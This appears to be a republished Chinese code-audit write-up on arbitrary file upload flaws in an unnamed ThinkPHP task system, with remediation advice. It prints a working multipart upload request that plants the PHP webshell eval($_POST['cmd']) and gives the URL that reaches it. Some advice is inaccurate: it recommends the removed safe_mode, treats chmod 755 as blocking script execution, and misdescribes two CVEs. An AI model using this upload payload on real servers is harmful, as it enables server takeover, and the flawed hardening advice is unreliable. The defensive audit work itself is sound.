【代码审计】xxx任务系统后台任意文件上传

admin 2025年4月10日18:54:01评论12 views字数 1680阅读5分36秒阅读模式
【代码审计】xxx任务系统后台任意文件上传
点击上方蓝字  关注安全知识

   系统存在未经身份认证的文件上传功能,攻击者可通过构造恶意HTTP请求绕过前端校验,直接上传包含恶意代码的文件(如WebShell)。由于服务端未对上传文件进行内容合法性验证,成功上传后可结合文件包含漏洞或直接访问路径触发恶意代码执行,最终可能导致服务器被完全控制。

某任务系统代码安全审计报告

审计日期: 2025年4月9日
系统环境: TP框架 + PHP 7.2.33

一、前台任意文件上传漏洞(高危)

1. 漏洞描述

系统未对前台用户上传文件进行有效权限及内容校验,攻击者可构造恶意文件突破上传限制。

2. 漏洞成因

  • 鉴权失效app/home/controller/Task.php 控制器的 upimg() 方法未验证用户登录状态(缺失 $member->checkLogin() 调用)。
【代码审计】xxx任务系统后台任意文件上传
  • 无文件过滤:在app/home/controller/Task.php 控制器的upimg方法中,通过qiniuupload()方法将文件上传,跟进qiniuupload()方法,qiniuupload()方法对上传文件后缀、MIME类型等无任何限制(见下图)。
【代码审计】xxx任务系统后台任意文件上传
【代码审计】xxx任务系统后台任意文件上传

3. 复现步骤

  1. 构造恶意请求:

    POST /index.php/home/task/upimg HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: image/png

    <?php eval($_POST['cmd']);?>
    ------WebKitFormBoundary--

构造payload【代码审计】xxx任务系统后台任意文件上传

【代码审计】xxx任务系统后台任意文件上传
【代码审计】xxx任务系统后台任意文件上传
  1. 直接访问上传路径获取Shell:

    http://target.com/uploads/shell.php

4. 修复建议

  • 增加前置鉴权:调用 $member->checkLogin() 验证用户身份
  • 添加文件白名单:仅允许 .jpg/.png/.gif 等安全后缀
  • 重命名上传文件:使用随机字符串+时间戳生成唯一文件名
  • 限制上传目录权限:禁止脚本执行权限(如 chmod 755

二、后台任意文件上传漏洞(严重)

1. 漏洞描述

管理员后台上传接口缺乏安全校验,可直接上传WebShell获取服务器权限。

2. 漏洞成因

  • 无权限控制app/admin/controller/Upload.php 的 file() 方法未验证用户角色(如是否为管理员)
  • 无内容检测:允许上传任意文件类型(见下图构造的恶意Payload)
【代码审计】xxx任务系统后台任意文件上传
【代码审计】xxx任务系统后台任意文件上传
【代码审计】xxx任务系统后台任意文件上传
【代码审计】xxx任务系统后台任意文件上传

3. 影响范围

攻击者可上传PHP木马、WebShell等,导致:

  • 数据库篡改
  • 敏感信息窃取
  • 服务器完全控制

4. 修复建议

  • 增加RBAC权限验证:仅允许管理员角色访问上传接口
  • 添加MIME类型校验:限制为 image/png,image/jpeg 等安全类型
  • 上传路径隔离:将管理文件存储到独立目录(如 /admin/uploads/
  • 日志审计:记录上传文件哈希值及操作人员IP

三、环境配置风险提示

1. PHP版本风险

当前PHP版本为 7.2.33(发布于2020年12月),存在以下已知漏洞:

  • CVE-2020-7064:反序列化漏洞
  • CVE-2020-7065:内存泄漏漏洞

建议升级至PHP 7.4或更高版本

2. 配置审查建议

  • 禁用危险函数:eval(), system(), shell_exec()
  • 限制上传文件大小:upload_max_filesize = 2M
  • 开启安全模式:safe_mode = On

四、总结

本次审计发现两处高危漏洞,建议立即修复并重新测试。后续建议:

  1. 建立代码评审机制
  2. 使用自动化扫描工具(如SonarQube)
  3. 定期进行渗透测试

 后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~

       有任何问题可后台留言

原文始发于微信公众号(Rot5pider安全团队):【代码审计】xxx任务系统后台任意文件上传

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日18:54:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】xxx任务系统后台任意文件上传https://cn-sec.com/archives/3940746.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息